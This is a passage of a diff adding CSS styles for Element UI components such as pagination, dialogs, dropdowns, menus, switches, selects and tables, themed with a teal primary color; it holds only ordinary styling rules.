+.el-pagination.is-background.el-pagination--small .btn-next, +.el-pagination.is-background.el-pagination--small .btn-prev, +.el-pagination.is-background.el-pagination--small .el-pager li { + margin: 0 3px; + min-width: 22px +} + +.el-pager, +.el-pager li { + vertical-align: top; + margin: 0; + display: inline-block +} + +.el-pager { + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + list-style: none; + font-size: 0 +} + +.el-date-table, +.el-table th { + -webkit-user-select: none; + -moz-user-select: none +} + +.el-pager .more::before { + line-height: 30px +} + +.el-pager li { + padding: 0 4px; + font-size: 13px; + min-width: 35.5px; + height: 28px; + line-height: 28px; + box-sizing: border-box; + text-align: center +} + +.el-menu--collapse .el-menu .el-submenu, +.el-menu--popup { + min-width: 200px +} + +.el-pager li.btn-quicknext, +.el-pager li.btn-quickprev { + line-height: 28px; + color: #303133 +} + +.el-pager li.btn-quicknext.disabled, +.el-pager li.btn-quickprev.disabled { + color: #c0c4cc +} + +.el-pager li.active+li { + border-left: 0 +} + +.el-pager li:hover { + color: var(--color-primary, #419488) +} + +.el-pager li.active { + color: var(--color-primary, #419488); + cursor: default +} + +@-webkit-keyframes v-modal-in { + 0% { + opacity: 0 + } +} + +@-webkit-keyframes v-modal-out { + 100% { + opacity: 0 + } +} + +.el-dialog { + position: relative; + margin: 0 auto 50px; + border-radius: 2px; + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, .3); + box-shadow: 0 1px 3px rgba(0, 0, 0, .3); + box-sizing: border-box; + width: 50% +} + +.el-dialog.is-fullscreen { + width: 100%; + margin-top: 0; + margin-bottom: 0; + height: 100%; + overflow: auto +} + +.el-dialog__wrapper { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + overflow: auto; + margin: 0 +} + +.el-dialog__header { + padding: 20px 20px 10px +} + +.el-dialog__headerbtn { + position: absolute; + top: 20px; + right: 20px; + padding: 0; + background: 0 0; + border: none; + outline: 0; + cursor: pointer; + font-size: 16px +} + +.el-dialog__headerbtn .el-dialog__close { + color: #909399 +} + +.el-dialog__headerbtn:focus .el-dialog__close, +.el-dialog__headerbtn:hover .el-dialog__close { + color: var(--color-primary, #419488) +} + +.el-dialog__title { + line-height: 24px; + font-size: 18px; + color: #303133 +} + +.el-dialog__body { + padding: 30px 20px; + color: #606266; + font-size: 14px; + word-break: break-all +} + +.el-dialog__footer { + padding: 10px 20px 20px; + text-align: right; + -webkit-box-sizing: border-box; + box-sizing: border-box +} + +.el-dialog--center { + text-align: center +} + +.el-dialog--center .el-dialog__body { + text-align: initial; + padding: 25px 25px 30px +} + +.el-dialog--center .el-dialog__footer { + text-align: inherit +} + +.dialog-fade-enter-active { + -webkit-animation: dialog-fade-in .3s; + animation: dialog-fade-in .3s +} + +.dialog-fade-leave-active { + -webkit-animation: dialog-fade-out .3s; + animation: dialog-fade-out .3s +} + +@-webkit-keyframes dialog-fade-in { + 0% { + -webkit-transform: translate3d(0, -20px, 0); + transform: translate3d(0, -20px, 0); + opacity: 0 + } + 100% { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1 + } +} + +@keyframes dialog-fade-in { + 0% { + -webkit-transform: translate3d(0, -20px, 0); + transform: translate3d(0, -20px, 0); + opacity: 0 + } + 100% { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1 + } +} + +@-webkit-keyframes dialog-fade-out { + 0% { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1 + } + 100% { + -webkit-transform: translate3d(0, -20px, 0); + transform: translate3d(0, -20px, 0); + opacity: 0 + } +} + +@keyframes dialog-fade-out { + 0% { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1 + } + 100% { + -webkit-transform: translate3d(0, -20px, 0); + transform: translate3d(0, -20px, 0); + opacity: 0 + } +} + +.el-autocomplete { + position: relative; + display: inline-block +} + +.el-autocomplete-suggestion { + margin: 5px 0; + -webkit-box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1); + box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1); + border-radius: 4px; + border: 1px solid #e4e7ed; + -webkit-box-sizing: border-box; + box-sizing: border-box; + background-color: #fff +} + +.el-dropdown-menu, +.el-menu--collapse .el-submenu .el-menu { + z-index: 10; + -webkit-box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1) +} + +.el-autocomplete-suggestion__wrap { + max-height: 280px; + padding: 10px 0; + -webkit-box-sizing: border-box; + box-sizing: border-box +} + +.el-autocomplete-suggestion__list { + margin: 0; + padding: 0 +} + +.el-autocomplete-suggestion li { + padding: 0 20px; + margin: 0; + line-height: 34px; + cursor: pointer; + color: #606266; + font-size: 14px; + list-style: none; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis +} + +.el-autocomplete-suggestion li.highlighted, +.el-autocomplete-suggestion li:hover { + background-color: #f5f7fa +} + +.el-autocomplete-suggestion li.divider { + margin-top: 6px; + border-top: 1px solid #000 +} + +.el-autocomplete-suggestion li.divider:last-child { + margin-bottom: -6px +} + +.el-autocomplete-suggestion.is-loading li { + text-align: center; + height: 100px; + line-height: 100px; + font-size: 20px; + color: #999 +} + +.el-autocomplete-suggestion.is-loading li::after { + display: inline-block; + content: ""; + height: 100%; + vertical-align: middle +} + +.el-autocomplete-suggestion.is-loading li:hover { + background-color: #fff +} + +.el-autocomplete-suggestion.is-loading .el-icon-loading { + vertical-align: middle +} + +.el-dropdown { + display: inline-block; + position: relative; + color: #606266; + font-size: 14px +} + +.el-dropdown .el-button-group { + display: block +} + +.el-dropdown .el-button-group .el-button { + float: none +} + +.el-dropdown .el-dropdown__caret-button { + padding-left: 5px; + padding-right: 5px; + position: relative; + border-left: none +} + +.el-dropdown .el-dropdown__caret-button::before { + content: ''; + position: absolute; + display: block; + width: 1px; + top: 5px; + bottom: 5px; + left: 0; + background: rgba(255, 255, 255, .5) +} + +.el-dropdown .el-dropdown__caret-button.el-button--default::before { + background: rgba(220, 223, 230, .5) +} + +.el-dropdown .el-dropdown__caret-button:hover::before { + top: 0; + bottom: 0 +} + +.el-dropdown .el-dropdown__caret-button .el-dropdown__icon { + padding-left: 0 +} + +.el-dropdown__icon { + font-size: 12px; + margin: 0 3px +} + +.el-dropdown-menu { + position: absolute; + top: 0; + left: 0; + padding: 10px 0; + margin: 5px 0; + background-color: #fff; + border: 1px solid #ebeef5; + border-radius: 4px; + box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1) +} + +.el-dropdown-menu__item { + list-style: none; + line-height: 36px; + padding: 0 20px; + margin: 0; + font-size: 14px; + color: #606266; + cursor: pointer; + outline: 0 +} + +.el-dropdown-menu__item:focus, +.el-dropdown-menu__item:not(.is-disabled):hover { + background-color: #ecf5ff; + color: #66b1ff +} + +.el-dropdown-menu__item i { + margin-right: 5px +} + +.el-dropdown-menu__item--divided { + position: relative; + margin-top: 6px; + border-top: 1px solid #ebeef5 +} + +.el-dropdown-menu__item--divided:before { + content: ''; + height: 6px; + display: block; + margin: 0 -20px; + background-color: #fff +} + +.el-dropdown-menu__item.is-disabled { + cursor: default; + color: #bbb; + pointer-events: none +} + +.el-dropdown-menu--medium { + padding: 6px 0 +} + +.el-dropdown-menu--medium .el-dropdown-menu__item { + line-height: 30px; + padding: 0 17px; + font-size: 14px +} + +.el-dropdown-menu--medium .el-dropdown-menu__item.el-dropdown-menu__item--divided { + margin-top: 6px +} + +.el-dropdown-menu--medium .el-dropdown-menu__item.el-dropdown-menu__item--divided:before { + height: 6px; + margin: 0 -17px +} + +.el-dropdown-menu--small { + padding: 6px 0 +} + +.el-dropdown-menu--small .el-dropdown-menu__item { + line-height: 27px; + padding: 0 15px; + font-size: 13px +} + +.el-dropdown-menu--small .el-dropdown-menu__item.el-dropdown-menu__item--divided { + margin-top: 4px +} + +.el-dropdown-menu--small .el-dropdown-menu__item.el-dropdown-menu__item--divided:before { + height: 4px; + margin: 0 -15px +} + +.el-dropdown-menu--mini { + padding: 3px 0 +} + +.el-dropdown-menu--mini .el-dropdown-menu__item { + line-height: 24px; + padding: 0 10px; + font-size: 12px +} + +.el-dropdown-menu--mini .el-dropdown-menu__item.el-dropdown-menu__item--divided { + margin-top: 3px +} + +.el-dropdown-menu--mini .el-dropdown-menu__item.el-dropdown-menu__item--divided:before { + height: 3px; + margin: 0 -10px +} + +.el-menu { + border-right: solid 1px #e6e6e6; + list-style: none; + position: relative; + margin: 0; + padding-left: 0; + background-color: #fff +} + +.el-menu--horizontal>.el-menu-item:not(.is-disabled):focus, +.el-menu--horizontal>.el-menu-item:not(.is-disabled):hover, +.el-menu--horizontal>.el-submenu .el-submenu__title:hover { + background-color: #fff +} + +.el-menu::after, +.el-menu::before { + display: table; + content: "" +} + +.el-menu::after { + clear: both +} + +.el-menu.el-menu--horizontal { + border-bottom: solid 1px #e6e6e6 +} + +.el-menu--horizontal { + border-right: none +} + +.el-menu--horizontal>.el-menu-item { + float: left; + height: 60px; + line-height: 60px; + margin: 0; + border-bottom: 2px solid transparent; + color: #909399 +} + +.el-menu--horizontal>.el-menu-item a, +.el-menu--horizontal>.el-menu-item a:hover { + color: inherit +} + +.el-menu--horizontal>.el-submenu { + float: left +} + +.el-menu--horizontal>.el-submenu:focus, +.el-menu--horizontal>.el-submenu:hover { + outline: 0 +} + +.el-menu--horizontal>.el-submenu:focus .el-submenu__title, +.el-menu--horizontal>.el-submenu:hover .el-submenu__title { + color: #303133 +} + +.el-menu--horizontal>.el-submenu.is-active .el-submenu__title { + border-bottom: 2px solid var(--color-primary, #419488); + color: #303133 +} + +.el-menu--horizontal>.el-submenu .el-submenu__title { + height: 60px; + line-height: 60px; + border-bottom: 2px solid transparent; + color: #909399 +} + +.el-menu--horizontal>.el-submenu .el-submenu__icon-arrow { + position: static; + vertical-align: middle; + margin-left: 8px; + margin-top: -3px +} + +.el-menu--horizontal .el-menu .el-menu-item, +.el-menu--horizontal .el-menu .el-submenu__title { + background-color: #fff; + float: none; + height: 36px; + line-height: 36px; + padding: 0 10px; + color: #909399 +} + +.el-menu--horizontal .el-menu .el-menu-item.is-active, +.el-menu--horizontal .el-menu .el-submenu.is-active>.el-submenu__title { + color: #303133 +} + +.el-menu--horizontal .el-menu-item:not(.is-disabled):focus, +.el-menu--horizontal .el-menu-item:not(.is-disabled):hover { + outline: 0; + color: #303133 +} + +.el-menu--horizontal>.el-menu-item.is-active { + border-bottom: 2px solid var(--color-primary, #419488); + color: #303133 +} + +.el-menu--collapse { + width: 64px +} + +.el-menu--collapse>.el-menu-item [class^=el-icon-], +.el-menu--collapse>.el-submenu>.el-submenu__title [class^=el-icon-] { + margin: 0; + vertical-align: middle; + width: 24px; + text-align: center +} + +.el-menu--collapse>.el-menu-item .el-submenu__icon-arrow, +.el-menu--collapse>.el-submenu>.el-submenu__title .el-submenu__icon-arrow { + display: none +} + +.el-menu--collapse>.el-menu-item span, +.el-menu--collapse>.el-submenu>.el-submenu__title span { + height: 0; + width: 0; + overflow: hidden; + visibility: hidden; + display: inline-block +} + +.el-menu--collapse>.el-menu-item.is-active i { + color: inherit +} + +.el-menu--collapse .el-submenu { + position: relative +} + +.el-menu--collapse .el-submenu .el-menu { + position: absolute; + margin-left: 5px; + top: 0; + left: 100%; + border: 1px solid #e4e7ed; + border-radius: 2px; + box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1) +} + +.el-menu-item, +.el-submenu__title { + height: 56px; + line-height: 56px; + position: relative; + -webkit-box-sizing: border-box; + white-space: nowrap; + list-style: none +} + +.el-menu--collapse .el-submenu.is-opened>.el-submenu__title .el-submenu__icon-arrow { + -webkit-transform: none; + transform: none +} + +.el-menu--popup { + z-index: 100; + border: none; + padding: 5px 0; + border-radius: 2px; + -webkit-box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1); + box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1) +} + +.el-menu--popup-bottom-start { + margin-top: 5px +} + +.el-menu--popup-right-start { + margin-left: 5px; + margin-right: 5px +} + +.el-menu-item { + font-size: 14px; + color: #303133; + padding: 0 20px; + cursor: pointer; + -webkit-transition: border-color .3s, background-color .3s, color .3s; + transition: border-color .3s, background-color .3s, color .3s; + box-sizing: border-box +} + +.el-menu-item * { + vertical-align: middle +} + +.el-menu-item i { + color: #909399 +} + +.el-menu-item:focus, +.el-menu-item:hover { + outline: 0; + background-color: #ecf5ff +} + +.el-menu-item.is-disabled { + opacity: .25; + cursor: not-allowed; + background: 0 0 !important +} + +.el-menu-item [class^=el-icon-] { + margin-right: 5px; + width: 24px; + text-align: center; + font-size: 18px; + vertical-align: middle +} + +.el-menu-item.is-active { + color: var(--color-primary, #419488) +} + +.el-menu-item.is-active i { + color: inherit +} + +.el-submenu { + list-style: none; + margin: 0; + padding-left: 0 +} + +.el-submenu__title { + font-size: 14px; + color: #303133; + padding: 0 20px; + cursor: pointer; + -webkit-transition: border-color .3s, background-color .3s, color .3s; + transition: border-color .3s, background-color .3s, color .3s; + box-sizing: border-box +} + +.el-submenu__title * { + vertical-align: middle +} + +.el-submenu__title i { + color: #909399 +} + +.el-submenu__title:focus, +.el-submenu__title:hover { + outline: 0; + background-color: #ecf5ff +} + +.el-submenu__title.is-disabled { + opacity: .25; + cursor: not-allowed; + background: 0 0 !important +} + +.el-submenu__title:hover { + background-color: #ecf5ff +} + +.el-submenu .el-menu { + border: none +} + +.el-submenu .el-menu-item { + height: 50px; + line-height: 50px; + padding: 0 45px; + min-width: 200px +} + +.el-submenu__icon-arrow { + position: absolute; + top: 50%; + right: 20px; + margin-top: -7px; + -webkit-transition: -webkit-transform .3s; + transition: -webkit-transform .3s; + transition: transform .3s; + transition: transform .3s, -webkit-transform .3s; + font-size: 12px +} + +.el-submenu.is-active .el-submenu__title { + border-bottom-color: var(--color-primary, #419488) +} + +.el-submenu.is-opened>.el-submenu__title .el-submenu__icon-arrow { + -webkit-transform: rotateZ(180deg); + transform: rotateZ(180deg) +} + +.el-submenu.is-disabled .el-menu-item, +.el-submenu.is-disabled .el-submenu__title { + opacity: .25; + cursor: not-allowed; + background: 0 0 !important +} + +.el-submenu [class^=el-icon-] { + vertical-align: middle; + margin-right: 5px; + width: 24px; + text-align: center; + font-size: 18px +} + +.el-menu-item-group>ul { + padding: 0 +} + +.el-menu-item-group__title { + padding: 7px 0 7px 20px; + line-height: normal; + font-size: 12px; + color: #909399 +} + +.el-radio-button__inner, +.el-radio-group { + display: inline-block; + line-height: 1; + vertical-align: middle +} + +.horizontal-collapse-transition .el-submenu__title .el-submenu__icon-arrow { + -webkit-transition: .2s; + transition: .2s; + opacity: 0 +} + +.el-radio-group { + font-size: 0 +} + +.el-radio-button { + position: relative; + display: inline-block; + outline: 0 +} + +.el-radio-button__inner { + white-space: nowrap; + background: #fff; + border: 1px solid #dcdfe6; + font-weight: 500; + border-left: 0; + color: #606266; + -webkit-appearance: none; + text-align: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + outline: 0; + margin: 0; + position: relative; + cursor: pointer; + -webkit-transition: all .3s cubic-bezier(.645, .045, .355, 1); + transition: all .3s cubic-bezier(.645, .045, .355, 1); + padding: 12px 20px; + font-size: 14px; + border-radius: 0 +} + +.el-radio-button__inner.is-round { + padding: 12px 20px +} + +.el-radio-button__inner:hover { + color: var(--color-primary, #419488) +} + +.el-radio-button__inner [class*=el-icon-] { + line-height: .9 +} + +.el-radio-button__inner [class*=el-icon-]+span { + margin-left: 5px +} + +.el-radio-button:first-child .el-radio-button__inner { + border-left: 1px solid #dcdfe6; + border-radius: 4px 0 0 4px; + -webkit-box-shadow: none !important; + box-shadow: none !important +} + +.el-radio-button__orig-radio { + opacity: 0; + outline: 0; + position: absolute; + z-index: -1 +} + +.el-radio-button__orig-radio:checked+.el-radio-button__inner { + color: #fff; + background-color: var(--color-primary, #419488); + border-color: var(--color-primary, #419488); + -webkit-box-shadow: -1px 0 0 0 var(--color-primary, #419488); + box-shadow: -1px 0 0 0 var(--color-primary, #419488) +} + +.el-radio-button__orig-radio:disabled+.el-radio-button__inner { + color: #c0c4cc; + cursor: not-allowed; + background-image: none; + background-color: #fff; + border-color: #ebeef5; + -webkit-box-shadow: none; + box-shadow: none +} + +.el-radio-button__orig-radio:disabled:checked+.el-radio-button__inner { + background-color: #f2f6fc +} + +.el-radio-button:last-child .el-radio-button__inner { + border-radius: 0 4px 4px 0 +} + +.el-popover, +.el-radio-button:first-child:last-child .el-radio-button__inner { + border-radius: 4px +} + +.el-radio-button--medium .el-radio-button__inner { + padding: 10px 20px; + font-size: 14px; + border-radius: 0 +} + +.el-radio-button--medium .el-radio-button__inner.is-round { + padding: 10px 20px +} + +.el-radio-button--small .el-radio-button__inner { + padding: 9px 15px; + font-size: 12px; + border-radius: 0 +} + +.el-radio-button--small .el-radio-button__inner.is-round { + padding: 9px 15px +} + +.el-radio-button--mini .el-radio-button__inner { + padding: 7px 15px; + font-size: 12px; + border-radius: 0 +} + +.el-radio-button--mini .el-radio-button__inner.is-round { + padding: 7px 15px +} + +.el-radio-button:focus:not(.is-focus):not(:active):not(.is-disabled) { + -webkit-box-shadow: 0 0 2px 2px var(--color-primary, #419488); + box-shadow: 0 0 2px 2px var(--color-primary, #419488) +} + +.el-switch { + display: -webkit-inline-box; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + position: relative; + font-size: 14px; + line-height: 20px; + height: 20px; + vertical-align: middle +} + +.el-switch__core, +.el-switch__label { + display: inline-block; + cursor: pointer +} + +.el-switch.is-disabled .el-switch__core, +.el-switch.is-disabled .el-switch__label { + cursor: not-allowed +} + +.el-switch__label { + -webkit-transition: .2s; + transition: .2s; + height: 20px; + font-size: 14px; + font-weight: 500; + vertical-align: middle; + color: #303133 +} + +.el-switch__label.is-active { + color: var(--color-primary, #419488) +} + +.el-switch__label--left { + margin-right: 10px +} + +.el-switch__label--right { + margin-left: 10px +} + +.el-switch__label * { + line-height: 1; + font-size: 14px; + display: inline-block +} + +.el-switch__input { + position: absolute; + width: 0; + height: 0; + opacity: 0; + margin: 0 +} + +.el-switch__core { + margin: 0; + position: relative; + width: 40px; + height: 20px; + border: 1px solid #dcdfe6; + outline: 0; + border-radius: 10px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + background: #dcdfe6; + -webkit-transition: border-color .3s, background-color .3s; + transition: border-color .3s, background-color .3s; + vertical-align: middle +} + +.el-switch__core:after { + content: ""; + position: absolute; + top: 1px; + left: 1px; + border-radius: 100%; + -webkit-transition: all .3s; + transition: all .3s; + width: 16px; + height: 16px; + background-color: #fff +} + +.el-switch.is-checked .el-switch__core { + border-color: var(--color-primary, #419488); + background-color: var(--color-primary, #419488) +} + +.el-switch.is-checked .el-switch__core::after { + left: 100%; + margin-left: -17px +} + +.el-switch.is-disabled { + opacity: .6 +} + +.el-switch--wide .el-switch__label.el-switch__label--left span { + left: 10px +} + +.el-switch--wide .el-switch__label.el-switch__label--right span { + right: 10px +} + +.el-switch .label-fade-enter, +.el-switch .label-fade-leave-active { + opacity: 0 +} + +.el-select-dropdown { + position: absolute; + z-index: 1001; + border: 1px solid #e4e7ed; + border-radius: 4px; + background-color: #fff; + -webkit-box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1); + box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1); + -webkit-box-sizing: border-box; + box-sizing: border-box; + margin: 5px 0 +} + +.el-select-dropdown.is-multiple .el-select-dropdown__item.selected { + color: var(--color-primary, #419488); + background-color: #fff +} + +.el-select-dropdown.is-multiple .el-select-dropdown__item.selected.hover { + background-color: #f5f7fa +} + +.el-select-dropdown.is-multiple .el-select-dropdown__item.selected::after { + position: absolute; + right: 20px; + font-family: element-icons; + content: "\e6da"; + font-size: 12px; + font-weight: 700; + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale +} + +.el-select-dropdown .el-scrollbar.is-empty .el-select-dropdown__list { + padding: 0 +} + +.el-select-dropdown__empty { + padding: 10px 0; + margin: 0; + text-align: center; + color: #999; + font-size: 14px +} + +.el-select-dropdown__wrap { + max-height: 274px +} + +.el-select-dropdown__list { + list-style: none; + padding: 6px 0; + margin: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box +} + +.el-select-dropdown__item { + font-size: 14px; + padding: 0 20px; + position: relative; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + color: #606266; + height: 34px; + line-height: 34px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + cursor: pointer +} + +.el-select-dropdown__item.is-disabled { + color: #c0c4cc; + cursor: not-allowed +} + +.el-select-dropdown__item.is-disabled:hover { + background-color: #fff +} + +.el-select-dropdown__item.hover, +.el-select-dropdown__item:hover { + background-color: #f5f7fa +} + +.el-select-dropdown__item.selected { + color: var(--color-primary, #419488); + font-weight: 700 +} + +.el-select-group { + margin: 0; + padding: 0 +} + +.el-select-group__wrap { + position: relative; + list-style: none; + margin: 0; + padding: 0 +} + +.el-select-group__wrap:not(:last-of-type) { + padding-bottom: 24px +} + +.el-select-group__wrap:not(:last-of-type)::after { + content: ''; + position: absolute; + display: block; + left: 20px; + right: 20px; + bottom: 12px; + height: 1px; + background: #e4e7ed +} + +.el-select-group__title { + padding-left: 20px; + font-size: 12px; + color: #909399; + line-height: 30px +} + +.el-select-group .el-select-dropdown__item { + padding-left: 20px +} + +.el-select { + display: inline-block; + position: relative +} + +.el-select .el-select__tags>span { + display: contents +} + +.el-select:hover .el-input__inner { + border-color: #c0c4cc +} + +.el-select .el-input__inner { + cursor: pointer; + padding-right: 35px +} + +.el-select .el-input__inner:focus { + border-color: var(--color-primary, #419488) +} + +.el-select .el-input .el-select__caret { + color: #c0c4cc; + font-size: 14px; + -webkit-transition: -webkit-transform .3s; + transition: -webkit-transform .3s; + transition: transform .3s; + transition: transform .3s, -webkit-transform .3s; + -webkit-transform: rotateZ(180deg); + transform: rotateZ(180deg); + cursor: pointer +} + +.el-select .el-input .el-select__caret.is-reverse { + -webkit-transform: rotateZ(0); + transform: rotateZ(0) +} + +.el-select .el-input .el-select__caret.is-show-close { + font-size: 14px; + text-align: center; + -webkit-transform: rotateZ(180deg); + transform: rotateZ(180deg); + border-radius: 100%; + color: #c0c4cc; + -webkit-transition: color .2s cubic-bezier(.645, .045, .355, 1); + transition: color .2s cubic-bezier(.645, .045, .355, 1) +} + +.el-select .el-input .el-select__caret.is-show-close:hover { + color: #909399 +} + +.el-select .el-input.is-disabled .el-input__inner { + cursor: not-allowed +} + +.el-select .el-input.is-disabled .el-input__inner:hover { + border-color: #e4e7ed +} + +.el-select .el-input.is-focus .el-input__inner { + border-color: var(--color-primary, #419488) +} + +.el-select>.el-input { + display: block +} + +.el-select__input { + border: none; + outline: 0; + padding: 0; + margin-left: 15px; + color: #666; + font-size: 14px; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + height: 28px; + background-color: transparent +} + +.el-select__input.is-mini { + height: 14px +} + +.el-select__close { + cursor: pointer; + position: absolute; + top: 8px; + z-index: 1000; + right: 25px; + color: #c0c4cc; + line-height: 18px; + font-size: 14px +} + +.el-select__close:hover { + color: #909399 +} + +.el-select__tags { + position: absolute; + line-height: normal; + white-space: normal; + z-index: 1; + top: 50%; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + -ms-flex-wrap: wrap; + flex-wrap: wrap +} + +.el-select .el-tag__close { + margin-top: -2px +} + +.el-select .el-tag { + -webkit-box-sizing: border-box; + box-sizing: border-box; + border-color: transparent; + margin: 2px 0 2px 6px; + background-color: #f0f2f5 +} + +.el-select .el-tag__close.el-icon-close { + background-color: #c0c4cc; + right: -7px; + top: 0; + color: #fff +} + +.el-select .el-tag__close.el-icon-close:hover { + background-color: #909399 +} + +.el-table, +.el-table__expanded-cell { + background-color: #fff +} + +.el-select .el-tag__close.el-icon-close::before { + display: block; + -webkit-transform: translate(0, .5px); + transform: translate(0, .5px) +} + +.el-table { + position: relative; + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-flex: 1; + -ms-flex: 1; + flex: 1; + width: 100%; + max-width: 100%; + font-size: 14px; + color: #606266 +} + +.el-table--mini, +.el-table--small, +.el-table__expand-icon { + font-size: 12px +} + +.el-table__empty-block { + min-height: 60px; + text-align: center; + width: 100%; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center +} + +.el-table__empty-text { + line-height: 60px; + width: 50%; + color: #909399 +} + +.el-table__expand-column .cell { + padding: 0; + text-align: center +} + +.el-table__expand-icon { + position: relative; + cursor: pointer; + color: #666; + -webkit-transition: -webkit-transform .2s ease-in-out; + transition: -webkit-transform .2s ease-in-out; + transition: transform .2s ease-in-out; + transition: transform .2s ease-in-out, -webkit-transform .2s ease-in-out; + height: 20px +} + +.el-table__expand-icon--expanded { + -webkit-transform: rotate(90deg); + transform: rotate(90deg) +} + +.el-table__expand-icon>.el-icon { + position: absolute; + left: 50%; + top: 50%; + margin-left: -5px; + margin-top: -5px +} + +.el-table__expanded-cell[class*=cell] { + padding: 20px 50px +} + +.el-table__expanded-cell:hover { + background-color: transparent !important +} + +.el-table__placeholder { + display: inline-block; + width: 20px +} + +.el-table__append-wrapper { + overflow: hidden +} + +.el-table--fit { + border-right: 0; + border-bottom: 0 +} + +.el-table--fit td.gutter, +.el-table--fit th.gutter { + border-right-width: 1px +} + +.el-table--scrollable-x .el-table__body-wrapper { + overflow-x: auto +} + +.el-table--scrollable-y .el-table__body-wrapper { + overflow-y: auto +} + +.el-table thead { + color: #909399; + font-weight: 500 +} + +.el-table thead.is-group th { + background: #f5f7fa +} + +.el-table th, +.el-table tr { + background-color: #fff +} + +.el-table td, +.el-table th { + padding: 12px 0; + min-width: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + text-overflow: ellipsis; + vertical-align: middle; + position: relative; + text-align: left +} + +.el-table td.is-center, +.el-table th.is-center { + text-align: center +} + +.el-table td.is-right, +.el-table th.is-right { + text-align: right +} + +.el-table td.gutter, +.el-table th.gutter { + width: 15px; + border-right-width: 0; + border-bottom-width: 0; + padding: 0 +} + +.el-table--medium td, +.el-table--medium th { + padding: 10px 0 +} + +.el-table--small td, +.el-table--small th { + padding: 8px 0 +} + +.el-table--mini td, +.el-table--mini th { + padding: 6px 0 +} + +.el-table .cell, +.el-table--border td:first-child .cell, +.el-table--border th:first-child .cell { + padding-left: 10px +} + +.el-table tr input[type=checkbox] { + margin: 0 +} + +.el-table td, +.el-table th.is-leaf { + border-bottom: 1px solid #ebeef5 +} + +.el-table th.is-sortable { + cursor: pointer +} + +.el-table th { + overflow: hidden; + -ms-user-select: none; + user-select: none +} + +.el-table th>.cell { + display: inline-block; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + vertical-align: middle; + padding-left: 10px; + padding-right: 10px; + width: 100% +} + +.el-table th>.cell.highlight { + color: var(--color-primary, #419488) +} + +.el-table th.required>div::before { + display: inline-block; + content: ""; + width: 8px; + height: 8px; + border-radius: 50%; + background: #ff4d51; + margin-right: 5px; + vertical-align: middle +} + +.el-table td div { + -webkit-box-sizing: border-box; + box-sizing: border-box +} + +.el-table td.gutter { + width: 0 +} + +.el-table .cell { + -webkit-box-sizing: border-box; + box-sizing: border-box; + overflow: hidden; + text-overflow: ellipsis; + white-space: normal; + word-break: break-all; + line-height: 23px; + padding-right: 10px +} + +.el-table .cell.el-tooltip { + white-space: nowrap; + min-width: 50px +} + +.el-table--border, +.el-table--group { + border: 1px solid #ebeef5 +} + +.el-table--border::after, +.el-table--group::after, +.el-table::before { + content: ''; + position: absolute; + background-color: #ebeef5; + z-index: 1 +} + +.el-table--border::after, +.el-table--group::after { + top: 0; + right: 0; + width: 1px; + height: 100% +} + +.el-table::before { + left: 0; + bottom: 0; + width: 100%; + height: 1px +} + +.el-table--border { + border-right: none; + border-bottom: none +} + +.el-table--border.el-loading-parent--relative { + border-color: transparent +} + +.el-table--border td, +.el-table--border th, +.el-table__body-wrapper .el-table--border.is-scrolling-left~.el-table__fixed { + border-right: 1px solid #ebeef5 +} + +.el-table--border th.gutter:last-of-type { + border-bottom: 1px solid #ebeef5; + border-bottom-width: 1px +} + +.el-table--border th, +.el-table__fixed-right-patch { + border-bottom: 1px solid #ebeef5 +} + +.el-table__fixed, +.el-table__fixed-right { + position: absolute; + top: 0; + left: 0; + overflow-x: hidden; + overflow-y: hidden; + -webkit-box-shadow: 0 0 10px rgba(0, 0, 0, .12); + box-shadow: 0 0 10px rgba(0, 0, 0, .12) +} + +.el-table__fixed-right::before, +.el-table__fixed::before { + content: ''; + position: absolute; + left: 0; + bottom: 0; + width: 100%; + height: 1px; + background-color: #ebeef5; + z-index: 4 +} + +.el-table__fixed-right-patch { + position: absolute; + top: -1px; + right: 0; + background-color: #fff +} + +.el-table__fixed-right { + top: 0; + left: auto; + right: 0 +} + +.el-table__fixed-right .el-table__fixed-body-wrapper, +.el-table__fixed-right .el-table__fixed-footer-wrapper, +.el-table__fixed-right .el-table__fixed-header-wrapper { + left: auto; + right: 0 +} + +.el-table__fixed-header-wrapper { + position: absolute; + left: 0; + top: 0; + z-index: 3 +} + +.el-table__fixed-footer-wrapper { + position: absolute; + left: 0; + bottom: 0; + z-index: 3 +} + +.el-table__fixed-footer-wrapper tbody td { + border-top: 1px solid #ebeef5; + background-color: #f5f7fa; + color: #606266 +} + +.el-table__fixed-body-wrapper { + position: absolute; + left: 0; + top: 37px; + overflow: 